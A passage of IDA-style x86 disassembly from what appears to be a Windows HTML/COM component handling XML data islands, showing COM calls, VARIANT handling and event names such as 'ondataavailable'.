arg_0 = dword ptr 4
push esi
push offset dword_69B25D04
mov esi, ecx
call sub_69B5E7C4
mov eax, [esp+4+arg_0]
mov [esi+18h], eax
mov dword ptr [esi], offset off_69B5CF24
mov eax, esi
pop esi
retn 4
sub_69B5CF03 endp
; ---------------------------------------------------------------------------
align 4
off_69B5CF24 dd offset sub_69B5E7DF ; DATA XREF: sub_69B5CF03+14o
dd offset sub_69B5E61C
dd offset sub_69B5E62C
dd offset sub_69B84A3B
dd offset sub_69B84A4B
dd offset sub_69B365EB
dd offset sub_69B5E644
dd offset sub_69B5CF44
; =============== S U B R O U T I N E =======================================
sub_69B5CF44 proc near ; DATA XREF: .text:69B5CF40o
arg_0 = byte ptr 4
push esi
mov esi, ecx
call nullsub_5
test [esp+4+arg_0], 1
jz short loc_69B5CF59
push esi
call sub_69B1B2B7
loc_69B5CF59: ; CODE XREF: sub_69B5CF44+Dj
mov eax, esi
pop esi
retn 4
sub_69B5CF44 endp
; =============== S U B R O U T I N E =======================================
; Attributes: bp-based frame
; int __stdcall sub_69B5CF5F(int, LPCWSTR psz1, int, int)
sub_69B5CF5F proc near ; DATA XREF: .text:69B29160o
arg_0 = dword ptr 8
psz1 = dword ptr 0Ch
arg_8 = dword ptr 10h
arg_C = dword ptr 14h
push ebp
mov ebp, esp
push off_69B99CFC ; psz2
push [ebp+psz1] ; psz1
call ds:StrCmpW ; StrCmpW
test eax, eax
jnz short loc_69B5CF7C
mov eax, 80020006h
jmp short loc_69B5CF9A
; ---------------------------------------------------------------------------
loc_69B5CF7C: ; CODE XREF: sub_69B5CF5F+14j
push [ebp+arg_C]
mov eax, [ebp+arg_0]
mov eax, [eax+0Ch]
push [ebp+arg_8]
lea ecx, [eax+34h]
push [ebp+psz1]
neg eax
sbb eax, eax
and eax, ecx
mov ecx, [eax]
push eax
call dword ptr [ecx+1Ch]
loc_69B5CF9A: ; CODE XREF: sub_69B5CF5F+1Bj
pop ebp
retn 10h
sub_69B5CF5F endp
; =============== S U B R O U T I N E =======================================
; Attributes: bp-based frame
sub_69B5CF9E proc near ; CODE XREF: sub_69B5D064+11Cp
pvarg = VARIANTARG ptr -18h
var_8 = dword ptr -8
var_4 = dword ptr -4
arg_0 = dword ptr 8
push ebp
mov ebp, esp
sub esp, 18h
and [ebp+var_4], 0
and [ebp+var_8], 0
push esi
lea eax, [ebp+pvarg]
push eax ; pvarg
mov esi, ecx
call VariantInit
mov eax, [esi+20h]
mov ecx, [eax]
lea edx, [ebp+var_4]
push edx
push offset dword_69B2B040
push eax
call dword ptr [ecx]
mov esi, eax
test esi, esi
jl short loc_69B5D02B
mov eax, [ebp+var_4]
mov ecx, [eax]
lea edx, [ebp+var_8]
push edx
push offset nullsub_2
push offset dword_69B5D054
push eax
call dword ptr [ecx+0Ch]
mov esi, eax
test esi, esi
jl short loc_69B5D02B
mov eax, [ebp+var_8]
mov ecx, [eax]
lea edx, [ebp+pvarg]
push edx
push 0
push 0
push 1
push offset dword_69B5D044
push eax
call dword ptr [ecx+10h]
mov esi, eax
test esi, esi
jnz short loc_69B5D02B
cmp word ptr [ebp+pvarg.anonymous_0], 8
jz short loc_69B5D023
lea eax, [ebp+pvarg]
push eax ; pvarg
call VariantClear
mov esi, 8000FFFFh
jmp short loc_69B5D02B
; ---------------------------------------------------------------------------
loc_69B5D023: ; CODE XREF: sub_69B5CF9E+72j
mov eax, [ebp+arg_0]
mov ecx, dword ptr [ebp+pvarg.anonymous_0+8]
mov [eax], ecx
loc_69B5D02B: ; CODE XREF: sub_69B5CF9E+30j
; sub_69B5CF9E+4Dj ...
lea eax, [ebp+var_4]
push eax
call sub_69B17230
lea eax, [ebp+var_8]
push eax
call sub_69B17230
mov eax, esi
pop esi
leave
retn 4
sub_69B5CF9E endp
; ---------------------------------------------------------------------------
dword_69B5D044 dd 3050F633h, 11CF98B5h, 0AA0082BBh, 0BCEBD00hdword_69B5D054 dd 3050F632h, 11CF98B5h, 0AA0082BBh, 0BCEBD00h
; =============== S U B R O U T I N E =======================================
sub_69B5D064 proc near ; CODE XREF: sub_69B5D68C+Cp
push 50h
push offset dword_69B5D250
call sub_69B19C5C
mov esi, ecx
call dword_69B92948
mov [ebp-1Ch], eax
xor edi, edi
cmp eax, edi
jnz short loc_69B5D08B
mov eax, 80004005h
jmp loc_69B5D23C
; ---------------------------------------------------------------------------
loc_69B5D08B: ; CODE XREF: sub_69B5D064+1Bj
lea ecx, [esi+4]
call sub_69B87FDC
push eax
push dword ptr [ebp-1Ch]
lea ecx, [ebp-28h]
call sub_69B1A8C7
mov [ebp-2Ch], edi
mov [ebp-30h], edi
push offset aSrc_0 ; "SRC"
call SysAllocString
mov ebx, eax
mov [ebp-4], edi
mov eax, [esi+1Ch]
mov ecx, eax
add eax, 34h
neg ecx
sbb ecx, ecx
and ecx, eax
mov [ebp-38h], ecx
mov word ptr [ebp-40h], 9
mov edi, [esi+24h]
mov [ebp-44h], edi
lea eax, [ebp-40h]
push eax
push offset aXmldocument_0 ; "XMLDocument"
call sub_69B1D494
push eax
push edi
call sub_69B5E93B
mov [ebp-48h], eax
xor edi, edi
cmp ebx, edi
jnz short loc_69B5D0FF
cmp eax, edi
jl loc_69B5D208
mov dword ptr [ebp-48h], 8007000Eh
loc_69B5D0FF: ; CODE XREF: sub_69B5D064+8Aj
cmp [ebp-48h], edi
jl loc_69B5D208
mov eax, [esi+24h]
mov [ebp-4Ch], eax
lea ecx, [esi+18h]
push ecx
lea ecx, [esi+2Ch]
push ecx
push eax
call sub_69B5E892
mov [ebp-48h], eax
cmp eax, edi
jl loc_69B5D208
lea eax, [ebp-5Ch]
push eax ; pvarg
call VariantInit
mov eax, [esi+24h]
mov ecx, [eax]
lea edx, [ebp-5Ch]
push edx
push edi
push ebx
push eax
call dword ptr [ecx+20h]
mov [ebp-48h], eax
push ebx ; BSTR
call SysFreeString
cmp [ebp-48h], edi
jl short loc_69B5D15B
cmp word ptr [ebp-5Ch], 8
jnz short loc_69B5D15B
cmp [ebp-54h], edi
jnz short loc_69B5D1A3
loc_69B5D15B: ; CODE XREF: sub_69B5D064+E9j
; sub_69B5D064+F0j
mov eax, [esi+24h]
mov ecx, [eax]
lea edx, [ebp-2Ch]
push edx
push eax
call dword ptr [ecx+0E8h]
mov [ebp-48h], eax
mov eax, [ebp-2Ch]
cmp eax, edi
jz short loc_69B5D17A
cmp [eax], di
jnz short loc_69B5D192
loc_69B5D17A: ; CODE XREF: sub_69B5D064+10Fj
lea eax, [ebp-2Ch]
push eax
mov ecx, esi
call sub_69B5CF9E
mov [ebp-48h], eax
cmp eax, edi
jge short loc_69B5D192
push eax
call sub_69B2E8B8
loc_69B5D192: ; CODE XREF: sub_69B5D064+114j
; sub_69B5D064+126j
cmp [ebp-2Ch], edi
jnz short loc_69B5D19E
mov dword ptr [ebp-48h], 80004005h
loc_69B5D19E: ; CODE XREF: sub_69B5D064+131j
cmp [ebp-48h], edi
jl short loc_69B5D208
loc_69B5D1A3: ; CODE XREF: sub_69B5D064+F5j
cmp word ptr [ebp-5Ch], 8
jnz short loc_69B5D1CD
cmp [ebp-54h], edi
jz short loc_69B5D1CD
mov eax, [esi+1Ch]
mov ecx, [eax]
lea edx, [ebp-60h]
push edx
sub esp, 10h
lea esi, [ebp-5Ch]
mov edi, esp
movsd
movsd
movsd
movsd
push eax
call dword ptr [ecx+0E8h]
jmp short loc_69B5D205
; ---------------------------------------------------------------------------
loc_69B5D1CD: ; CODE XREF: sub_69B5D064+144j
; sub_69B5D064+149j
cmp [ebp-2Ch], edi
jz short loc_69B5D208
mov esi, [esi+1Ch]
mov eax, [esi]
lea ecx, [ebp-60h]
push ecx
push dword ptr [ebp-2Ch]
push esi
call dword ptr [eax+104h]
jmp short loc_69B5D205
; ---------------------------------------------------------------------------
loc_69B5D1E7: ; DATA XREF: .text:69B5D254o
push dword ptr [ebp-14h]
call sub_69B2E94A
retn
; ---------------------------------------------------------------------------
loc_69B5D1F0: ; DATA XREF: .text:69B5D258o
mov esp, [ebp-18h]
call sub_69B2E808
push eax
call sub_69B2D39C
mov ecx, eax
call sub_69B2E804
loc_69B5D205: ; CODE XREF: sub_69B5D064+167j
; sub_69B5D064+181j
mov [ebp-48h], eax
loc_69B5D208: ; CODE XREF: sub_69B5D064+8Ej
; sub_69B5D064+9Ej ...
or dword ptr [ebp-4], 0FFFFFFFFh
lea eax, [ebp-5Ch]
push eax ; pvarg
call VariantClear
push dword ptr [ebp-2Ch] ; BSTR
call SysFreeString
lea eax, [ebp-30h]
push eax
call sub_69B17230
lea ecx, [ebp-28h]
call sub_69B1976C
push dword ptr [ebp-1Ch]
call dword_69B92944
mov eax, [ebp-48h]
loc_69B5D23C: ; CODE XREF: sub_69B5D064+22j
call sub_69B1853C
retn
sub_69B5D064 endp
; ---------------------------------------------------------------------------
align 4
; OLECHAR aSrc_0
aSrc_0: ; DATA XREF: sub_69B5D064+41o
unicode 0, <SRC>,0
align 10h
dword_69B5D250 dd 0FFFFFFFFh dd offset loc_69B5D1E7
dd offset loc_69B5D1F0
; =============== S U B R O U T I N E =======================================
sub_69B5D25C proc near ; CODE XREF: sub_69B5D986+96p
var_8 = dword ptr -8
var_4 = dword ptr -4
push ecx
push ecx
push ebp
push esi
mov esi, ecx
mov eax, [esi+20h]
mov ecx, [eax]
lea ebp, [esi+38h]
push ebp
push offset loc_69B5D2E0
push eax
call dword ptr [ecx]
test eax, eax
mov [esp+10h+var_8], eax
jl short loc_69B5D2D5
and [esp+10h+var_4], 0
push ebx
mov ebx, offset aOndataavailabl ; "ondataavailable"
push edi
loc_69B5D287: ; CODE XREF: sub_69B5D25C+75j
cmp [esp+18h+var_8], 0
jl short loc_69B5D2D3
push ebx ; OLECHAR *
call SysAllocString
mov edi, eax
test edi, edi
jz short loc_69B5D2BC
mov edx, [ebx+28h]
mov eax, [ebp+0]
mov ecx, [eax]
lea edx, [esi+edx*4+34h]
push edx
push 0
push edi
push eax
call dword ptr [ecx+0Ch]
push edi ; BSTR
mov [esp+1Ch+var_8], eax
call SysFreeString
jmp short loc_69B5D2C4
; ---------------------------------------------------------------------------
loc_69B5D2BC: ; CODE XREF: sub_69B5D25C+3Dj
mov [esp+18h+var_8], 8007000Eh
loc_69B5D2C4: ; CODE XREF: sub_69B5D25C+5Ej
add [esp+18h+var_4], 2Ch
add ebx, 2Ch
cmp [esp+18h+var_4], 2Ch
jb short loc_69B5D287
loc_69B5D2D3: ; CODE XREF: sub_69B5D25C+30j
pop edi
pop ebx
loc_69B5D2D5: ; CODE XREF: sub_69B5D25C+1Dj
mov eax, [esp+10h+var_8]
pop esi
pop ebp
pop ecx
pop ecx
retn
sub_69B5D25C endp
; ---------------------------------------------------------------------------
align 10h
loc_69B5D2E0: ; DATA XREF: sub_69B5D25C+Fo
mov esp, esi
push eax
xor [ebp-44EE3068h], dh
add byte ptr [eax], 0AAh
loc_69B5D2EC: ; DATA XREF: .text:off_69B2913Co
add [ebp+448B0BCEh], bh
and al, 4
push esi
mov esi, [eax+28h]
xor eax, eax
jmp short loc_69B5D316
; ---------------------------------------------------------------------------
loc_69B5D2FC: ; CODE XREF: .text:69B5D318j
test eax, eax
jl short loc_69B5D31A
cmp dword ptr [esi], 3
jnz short loc_69B5D313
mov eax, [esi+0Ch]
mov ecx, [eax]
push 0FFFFFDF3h
push eax
call dword ptr [ecx+0Ch]
loc_69B5D313: ; CODE XREF: .text:69B5D303j
mov esi, [esi+10h]
loc_69B5D316: ; CODE XREF: .text:69B5D2FAj
test esi, esi
jnz short loc_69B5D2FC
loc_69B5D31A: ; CODE XREF: .text:69B5D2FEj
pop esi
retn 4
; ---------------------------------------------------------------------------
loc_69B5D31E: ; DATA XREF: .text:off_69B29138o
push 54h
push offset dword_69B5D450
call sub_69B19C5C
call dword_69B92948
mov [ebp-1Ch], eax
test eax, eax
jnz short loc_69B5D341
mov eax, 80004005h
jmp loc_69B5D443
; ---------------------------------------------------------------------------
loc_69B5D341: ; CODE XREF: .text:69B5D335j
mov edi, [ebp+8]
lea ecx, [edi-14h]
call sub_69B87FDC
push eax
push dword ptr [ebp-1Ch]
lea ecx, [ebp-28h]
call sub_69B1A8C7
lea eax, [ebp-38h]
push eax
mov esi, VariantInit
call esi ; VariantInit
lea eax, [ebp-48h]
push eax
call esi ; VariantInit
mov esi, [edi+0Ch]
lea eax, [ebp-38h]
push eax
push offset dword_69B5D44C
call sub_69B1D494
push eax
push esi
call sub_69B5EA21
mov esi, eax
test esi, esi
jl short loc_69B5D3BC
cmp word ptr [ebp-38h], 8
jz short loc_69B5D3B7
push 8
push 0
call ds:GetThreadLocale ; GetThreadLocale
push eax
lea eax, [ebp-38h]
push eax
lea eax, [ebp-48h]
push eax
call VariantChangeTypeEx
mov esi, eax
test esi, esi
jl short loc_69B5D3B3
mov eax, [ebp-40h]
jmp short loc_69B5D3BF
; ---------------------------------------------------------------------------
loc_69B5D3B3: ; CODE XREF: .text:69B5D3ACj
xor eax, eax
jmp short loc_69B5D3BF
; ---------------------------------------------------------------------------
loc_69B5D3B7: ; CODE XREF: .text:69B5D38Dj
mov eax, [ebp-30h]
jmp short loc_69B5D3BF
; ---------------------------------------------------------------------------
loc_69B5D3BC: ; CODE XREF: .text:69B5D386j
mov eax, [ebp-4Ch]
loc_69B5D3BF: ; CODE XREF: .text:69B5D3B1j
; .text:69B5D3B5j ...
and dword ptr [ebp-4], 0
test esi, esi
jl short loc_69B5D413
mov word ptr [ebp-5Ch], 8
mov [ebp-54h], eax
mov eax, [edi+4]
mov ecx, [eax]
lea edx, [ebp-60h]
push edx
sub esp, 10h
lea esi, [ebp-5Ch]
mov edi, esp
movsd
movsd
movsd
movsd
push eax
call dword ptr [ecx+0E8h]
mov esi, eax
mov [ebp-64h], esi
jmp short loc_69B5D413
; ---------------------------------------------------------------------------
loc_69B5D3F3: ; DATA XREF: .text:69B5D454o
push dword ptr [ebp-14h]
call sub_69B2E94A
retn
; ---------------------------------------------------------------------------
loc_69B5D3FC: ; DATA XREF: .text:69B5D458o
mov esp, [ebp-18h]
call sub_69B2E808
push eax
call sub_69B2D39C
mov ecx, eax
call sub_69B2E804
mov esi, eax
loc_69B5D413: ; CODE XREF: .text:69B5D3C5j
; .text:69B5D3F1j
or dword ptr [ebp-4], 0FFFFFFFFh
lea eax, [ebp-38h]
push eax
mov edi, VariantClear
call edi ; VariantClear
cmp word ptr [ebp-48h], 0
jz short loc_69B5D430
lea eax, [ebp-48h]
push eax
call edi ; VariantClear
loc_69B5D430: ; CODE XREF: .text:69B5D428j
lea ecx, [ebp-28h]
call sub_69B1976C
push dword ptr [ebp-1Ch]
call dword_69B92944
mov eax, esi
loc_69B5D443: ; CODE XREF: .text:69B5D33Cj
call sub_69B1853C
retn 4
; ---------------------------------------------------------------------------
align 4
dword_69B5D44C dd 637273h dword_69B5D450 dd 0FFFFFFFFh dd offset loc_69B5D3F3
dd offset loc_69B5D3FC
; =============== S U B R O U T I N E =======================================
sub_69B5D45C proc near ; CODE XREF: .text:69B5D8D3j
; DATA XREF: .text:off_69B12B00o
push 60h
push offset dword_69B5D680
call sub_69B19C5C
call dword_69B92948
mov [ebp-1Ch], eax
test eax, eax
jnz short loc_69B5D47F
mov eax, 80004005h
jmp loc_69B5D672
; ---------------------------------------------------------------------------
loc_69B5D47F: ; CODE XREF: sub_69B5D45C+17j
mov ebx, [ebp+8]
lea ecx, [ebx+4]
call sub_69B87FDC
push eax
push dword ptr [ebp-1Ch]
lea ecx, [ebp-28h]
call sub_69B1A8C7
mov eax, [ebp+10h]
test eax, eax
jnz short loc_69B5D4A9
mov dword ptr [ebp-2Ch], 80070057h
jmp loc_69B5D65E
; ---------------------------------------------------------------------------
loc_69B5D4A9: ; CODE XREF: sub_69B5D45C+3Fj
and dword ptr [eax], 0
and dword ptr [ebp-4], 0
push eax
mov esi, [ebp+0Ch]
push esi
push ebx
call sub_69B448B2
mov [ebp-2Ch], eax
cmp eax, 80004002h
jnz loc_69B5D65A
push 4
pop eax
mov ecx, eax
mov edi, offset dword_69B2AFE0
xor edx, edx
repe cmpsd
jz loc_69B5D621
mov ecx, eax
mov edi, offset dword_69B2B050
mov esi, [ebp+0Ch]
xor edx, edx
repe cmpsd
jz loc_69B5D621
mov ecx, eax
mov edi, offset dword_69B2B100
mov esi, [ebp+0Ch]
xor edx, edx
repe cmpsd
jnz short loc_69B5D557
push 2Ch
call sub_69B11E44
mov ecx, eax
mov [ebp-30h], ecx
test ecx, ecx
jz short loc_69B5D534
mov eax, [ebx+1Ch]
mov [ebp-34h], eax
mov eax, [eax+18h]
mov [ebp-38h], eax
add eax, 0A4h
push eax
lea eax, [ebx+3Ch]
push eax
push ebx
push offset dword_69B2B0E0
call sub_69B50CCC
jmp short loc_69B5D536
; ---------------------------------------------------------------------------
loc_69B5D534: ; CODE XREF: sub_69B5D45C+B3j
xor eax, eax
loc_69B5D536: ; CODE XREF: sub_69B5D45C+D6j
mov [ebp-3Ch], eax
test eax, eax
jz short loc_69B5D54B
mov ecx, [ebp+10h]
mov [ecx], eax
and dword ptr [ebp-2Ch], 0
jmp loc_69B5D65A
; ---------------------------------------------------------------------------
loc_69B5D54B: ; CODE XREF: sub_69B5D45C+DFj
; sub_69B5D45C+147j
mov dword ptr [ebp-2Ch], 8007000Eh
jmp loc_69B5D65A
; ---------------------------------------------------------------------------
loc_69B5D557: ; CODE XREF: sub_69B5D45C+A3j
mov ecx, eax
mov edi, offset dword_69B2A558
mov esi, [ebp+0Ch]
xor eax, eax
repe cmpsd
jnz loc_69B5D611
lea esi, [ebx+40h]
mov eax, [esi]
mov [ebp-40h], eax
test eax, eax
jnz loc_69B5D604
push 44h
call sub_69B17EF3
mov [ebp-44h], eax
test eax, eax
jz short loc_69B5D592
mov ecx, eax
call sub_69B78994
jmp short loc_69B5D594
; ---------------------------------------------------------------------------
loc_69B5D592: ; CODE XREF: sub_69B5D45C+12Bj
xor eax, eax
loc_69B5D594: ; CODE XREF: sub_69B5D45C+134j
push eax
mov ecx, esi
call sub_69B199CC
mov eax, [esi]
mov [ebp-48h], eax
test eax, eax
jz short loc_69B5D54B
mov [ebp-4Ch], eax
or dword ptr [eax+40h], 8
mov eax, [ebx+24h]
mov [ebp-50h], eax
mov ecx, [esi]
mov [ebp-54h], ecx
push eax
call sub_69B77AF4
mov edx, [ebx+20h]
mov [ebp-58h], edx
test edx, edx
jz short loc_69B5D5ED
mov eax, [esi]
mov [ebp-5Ch], eax
lea ecx, [eax+0Ch]
mov [ebp-60h], edx
mov eax, [ecx]
push edx
call dword ptr [eax]
mov eax, [esi]
mov [ebp-64h], eax
lea ecx, [eax+0Ch]
mov eax, [ecx]
push 2
push 2
push offset stru_69B1CA6C
call dword ptr [eax+4]
loc_69B5D5ED: ; CODE XREF: sub_69B5D45C+169j
mov ebx, [ebx+1Ch]
mov [ebp-68h], ebx
mov ebx, [ebx+18h]
mov [ebp-6Ch], ebx
mov ecx, [esi]
mov [ebp-70h], ecx
push ebx
call sub_69B78DF4
loc_69B5D604: ; CODE XREF: sub_69B5D45C+119j
mov esi, [esi]
mov eax, [esi]
push dword ptr [ebp+10h]
push dword ptr [ebp+0Ch]
push esi
jmp short loc_69B5D61D
; ---------------------------------------------------------------------------
loc_69B5D611: ; CODE XREF: sub_69B5D45C+109j
mov ebx, [ebx+1Ch]
mov eax, [ebx]
push dword ptr [ebp+10h]
push dword ptr [ebp+0Ch]
push ebx
loc_69B5D61D: ; CODE XREF: sub_69B5D45C+1B3j
call dword ptr [eax]
jmp short loc_69B5D657
; ---------------------------------------------------------------------------
loc_69B5D621: ; CODE XREF: sub_69B5D45C+7Bj
; sub_69B5D45C+8Fj
mov eax, ebx
lea ecx, [ebx+10h]
neg eax
sbb eax, eax
and eax, ecx
mov ecx, [ebp+10h]
mov [ecx], eax
mov eax, [ebx]
push ebx
call dword ptr [eax+4]
jmp short loc_69B5D65A
; ---------------------------------------------------------------------------
loc_69B5D639: ; DATA XREF: .text:69B5D684o
push dword ptr [ebp-14h]
call sub_69B2E94A
retn
; ---------------------------------------------------------------------------
loc_69B5D642: ; DATA XREF: .text:69B5D688o
mov esp, [ebp-18h]
call sub_69B2E808
push eax
call sub_69B2D39C
mov ecx, eax
call sub_69B2E804
loc_69B5D657: ; CODE XREF: sub_69B5D45C+1C3j
mov [ebp-2Ch], eax
loc_69B5D65A: ; CODE XREF: sub_69B5D45C+67j
; sub_69B5D45C+EAj ...
or dword ptr [ebp-4], 0FFFFFFFFh
loc_69B5D65E: ; CODE XREF: sub_69B5D45C+48j
lea ecx, [ebp-28h]
call sub_69B1976C
push dword ptr [ebp-1Ch]
call dword_69B92944
mov eax, [ebp-2Ch]
loc_69B5D672: ; CODE XREF: sub_69B5D45C+1Ej
call sub_69B1853C
retn 0Ch
sub_69B5D45C endp
; ---------------------------------------------------------------------------
align 10h
dword_69B5D680 dd 0FFFFFFFFh dd offset loc_69B5D639
dd offset loc_69B5D642
; =============== S U B R O U T I N E =======================================
sub_69B5D68C proc near ; DATA XREF: .text:69B12B10o
arg_0 = dword ptr 4
arg_4 = dword ptr 8
xor eax, eax
cmp [esp+arg_4], eax
jnz short locret_69B5D69D
mov ecx, [esp+arg_0]
call sub_69B5D064
locret_69B5D69D: ; CODE XREF: sub_69B5D68C+6j
retn 0Ch
sub_69B5D68C endp
; =============== S U B R O U T I N E =======================================
; Attributes: bp-based frame
sub_69B5D6A0 proc near ; CODE XREF: sub_69B5D8D8+2Bp
; sub_69B5D986+A6p
var_8 = dword ptr -8
var_4 = dword ptr -4
arg_0 = dword ptr 8
push ebp
mov ebp, esp
push ecx
push ecx
push esi
push edi
mov esi, ecx
mov eax, [esi+1Ch]
mov eax, [eax+18h]
mov ecx, [eax]
lea edx, [ebp+var_8]
push edx
push offset dword_69B2B100
push eax
call dword ptr [ecx]
mov edi, eax
test edi, edi
jl short loc_69B5D741
mov eax, [ebp+var_8]
mov ecx, [eax]
lea edx, [ebp+var_4]
push edx
push offset dword_69B25D04
push eax
call dword ptr [ecx+10h]
mov edi, eax
mov eax, [ebp+var_8]
mov ecx, [eax]
push eax
call dword ptr [ecx+8]
test edi, edi
jl short loc_69B5D741
cmp [ebp+arg_0], 0
jz short loc_69B5D72A
cmp dword ptr [esi+28h], 0
jnz short loc_69B5D718
push 1Ch
call sub_69B11E44
test eax, eax
jz short loc_69B5D708
lea ecx, [esi+14h]
push ecx
mov ecx, eax
call sub_69B5CF03
jmp short loc_69B5D70A
; ---------------------------------------------------------------------------
loc_69B5D708: ; CODE XREF: sub_69B5D6A0+59j
xor eax, eax
loc_69B5D70A: ; CODE XREF: sub_69B5D6A0+66j
test eax, eax
mov [esi+28h], eax
jnz short loc_69B5D718
mov eax, 8007000Eh
jmp short loc_69B5D743
; ---------------------------------------------------------------------------
loc_69B5D718: ; CODE XREF: sub_69B5D6A0+4Ej
; sub_69B5D6A0+6Fj
mov eax, [ebp+var_4]
mov ecx, [eax]
lea edx, [esi+30h]
push edx
push dword ptr [esi+28h]
push eax
call dword ptr [ecx+14h]
jmp short loc_69B5D736
; ---------------------------------------------------------------------------
loc_69B5D72A: ; CODE XREF: sub_69B5D6A0+48j
mov eax, [ebp+var_4]
push dword ptr [esi+30h]
mov ecx, [eax]
push eax
call dword ptr [ecx+18h]
loc_69B5D736: ; CODE XREF: sub_69B5D6A0+88j
mov edi, eax
mov eax, [ebp+var_4]
mov ecx, [eax]
push eax
call dword ptr [ecx+8]
loc_69B5D741: ; CODE XREF: sub_69B5D6A0+21j
; sub_69B5D6A0+42j
mov eax, edi
loc_69B5D743: ; CODE XREF: sub_69B5D6A0+76j
pop edi
pop esi
leave
retn 4
sub_69B5D6A0 endp
; =============== S U B R O U T I N E =======================================
sub_69B5D749 proc near ; CODE XREF: sub_69B5D774+6p
push esi
mov esi, ecx
push offset dword_69B5D764
lea ecx, [esi+4]
call sub_69B1D9B7
call sub_69B1E031
mov eax, esi
pop esi
retn
sub_69B5D749 endp
; ---------------------------------------------------------------------------
align 4
dword_69B5D764 dd 3050F425h, 11CF98B5h, 0AA0082BBh, 0BCEBD00h
; =============== S U B R O U T I N E =======================================
sub_69B5D774 proc near ; CODE XREF: sub_69B3D0C6+45p
arg_0 = dword ptr 4
push ebx
push ebp
push esi
push edi
mov esi, ecx
call sub_69B5D749
xor ebx, ebx
mov dword ptr [esi], offset off_69B12B00
mov dword ptr [esi+4], offset off_69B29180
mov dword ptr [esi+10h], offset off_69B29144
mov dword ptr [esi+14h], offset off_69B2913C
mov dword ptr [esi+18h], offset off_69B29138
lea edi, [esi+1Ch]
mov [edi], ebx
mov [esi+20h], ebx
mov [esi+24h], ebx
lea ebp, [esi+40h]
mov [ebp+0], ebx
push 44h
mov [esi+2Ch], ebx
call sub_69B1D897
cmp eax, ebx
jz short loc_69B5D7CF
push [esp+10h+arg_0]
mov ecx, eax
call sub_69B592CE
jmp short loc_69B5D7D1
; ---------------------------------------------------------------------------
loc_69B5D7CF: ; CODE XREF: sub_69B5D774+4Cj
xor eax, eax
loc_69B5D7D1: ; CODE XREF: sub_69B5D774+59j
push eax
push edi
call sub_69B17320
mov edi, [edi]
mov eax, [edi]
push edi
call dword ptr [eax+8]
push ebx
push ebp
mov [esi+30h], ebx
mov [esi+28h], ebx
mov [esi+38h], ebx
mov [esi+3Ch], ebx
call sub_69B17320
pop edi
mov eax, esi
pop esi
pop ebp
pop ebx
retn 4
sub_69B5D774 endp
; =============== S U B R O U T I N E =======================================
sub_69B5D7FC proc near ; DATA XREF: .text:69B29150o
arg_0 = dword ptr 4
arg_4 = dword ptr 8
mov eax, [esp+arg_0]
mov eax, [eax+0Ch]
push [esp+arg_4]
lea ecx, [eax+34h]
neg eax
sbb eax, eax
and eax, ecx
mov ecx, [eax]
push eax
call dword ptr [ecx+0Ch]
retn 8
sub_69B5D7FC endp
; =============== S U B R O U T I N E =======================================
sub_69B5D819 proc near ; DATA XREF: .text:69B29154o
arg_0 = dword ptr 4
arg_4 = dword ptr 8
arg_8 = dword ptr 0Ch
arg_C = dword ptr 10h
push [esp+arg_C]
mov eax, [esp+4+arg_0]
mov eax, [eax+0Ch]
push [esp+4+arg_8]
lea ecx, [eax+34h]
push [esp+8+arg_4]
neg eax
sbb eax, eax
and eax, ecx
mov ecx, [eax]
push eax
call dword ptr [ecx+10h]
retn 10h
sub_69B5D819 endp
; =============== S U B R O U T I N E =======================================
; Attributes: bp-based frame
sub_69B5D83E proc near ; DATA XREF: .text:69B29158o
arg_0 = dword ptr 8
arg_4 = dword ptr 0Ch
arg_8 = dword ptr 10h
arg_C = dword ptr 14h
arg_10 = dword ptr 18h
arg_14 = dword ptr 1Ch
push ebp
mov ebp, esp
push [ebp+arg_14]
mov eax, [ebp+arg_0]
push [ebp+arg_10]
mov eax, [eax+0Ch]
push [ebp+arg_C]
lea ecx, [eax+34h]
push [ebp+arg_8]
neg eax
push [ebp+arg_4]
sbb eax, eax
and eax, ecx
mov ecx, [eax]
push eax
call dword ptr [ecx+14h]
pop ebp
retn 18h
sub_69B5D83E endp
; =============== S U B R O U T I N E =======================================
; Attributes: bp-based frame
sub_69B5D869 proc near ; DATA XREF: .text:69B2915Co
arg_0 = dword ptr 8
arg_4 = dword ptr 0Ch
arg_8 = dword ptr 10h
arg_C = dword ptr 14h
arg_10 = dword ptr 18h
arg_14 = dword ptr 1Ch
arg_18 = dword ptr 20h
arg_1C = dword ptr 24h
arg_20 = dword ptr 28h
push ebp
mov ebp, esp
push [ebp+arg_20]
mov eax, [ebp+arg_0]
push [ebp+arg_1C]
mov eax, [eax+0Ch]
push [ebp+arg_18]
lea ecx, [eax+34h]
push [ebp+arg_14]
neg eax
push [ebp+arg_10]
sbb eax, eax
push [ebp+arg_C]
and eax, ecx
push [ebp+arg_8]
mov ecx, [eax]
push [ebp+arg_4]
push eax
call dword ptr [ecx+18h]
pop ebp
retn 24h
sub_69B5D869 endp
; =============== S U B R O U T I N E =======================================
; Attributes: bp-based frame
sub_69B5D89D proc near ; DATA XREF: .text:69B29164o
arg_0 = dword ptr 8
arg_4 = dword ptr 0Ch
arg_8 = dword ptr 10h
arg_C = dword ptr 14h
arg_10 = dword ptr 18h
arg_14 = dword ptr 1Ch
arg_18 = dword ptr 20h
arg_1C = dword ptr 24h
push ebp
mov ebp, esp
push [ebp+arg_1C]
mov eax, [ebp+arg_0]
push [ebp+arg_18]
mov eax, [eax+0Ch]
push [ebp+arg_14]
lea ecx, [eax+34h]
push [ebp+arg_10]
neg eax
push [ebp+arg_C]
sbb eax, eax
push [ebp+arg_8]
and eax, ecx
push [ebp+arg_4]
mov ecx, [eax]
push eax
call dword ptr [ecx+20h]
pop ebp
retn 20h
sub_69B5D89D endp
; ---------------------------------------------------------------------------
loc_69B5D8CE: ; DATA XREF: .text:off_69B29144o
sub dword ptr [esp+4], 10h
jmp sub_69B5D45C
; =============== S U B R O U T I N E =======================================
sub_69B5D8D8 proc near ; CODE XREF: .text:69B5DA7Fp
push ebx
push esi
mov esi, ecx
push edi
lea ecx, [esi-4]
push 0
mov dword ptr [ecx], offset off_69B12B00
mov dword ptr [esi], offset off_69B29180
mov dword ptr [esi+0Ch], offset off_69B29144
mov dword ptr [esi+10h], offset off_69B2913C
mov dword ptr [esi+14h], offset off_69B29138
call sub_69B5D6A0
mov eax, [esi+24h]
test eax, eax
jz short loc_69B5D915
mov ecx, [eax]
push eax
call dword ptr [ecx+8]
loc_69B5D915: ; CODE XREF: sub_69B5D8D8+35j
mov eax, [esi+28h]
test eax, eax
jz short loc_69B5D935
push 0 ; int
push offset aOnpropertychan ; "onpropertychange"
push eax ; int
push dword ptr [esi+20h] ; int
call sub_69B5E738
mov eax, [esi+28h]
mov ecx, [eax]
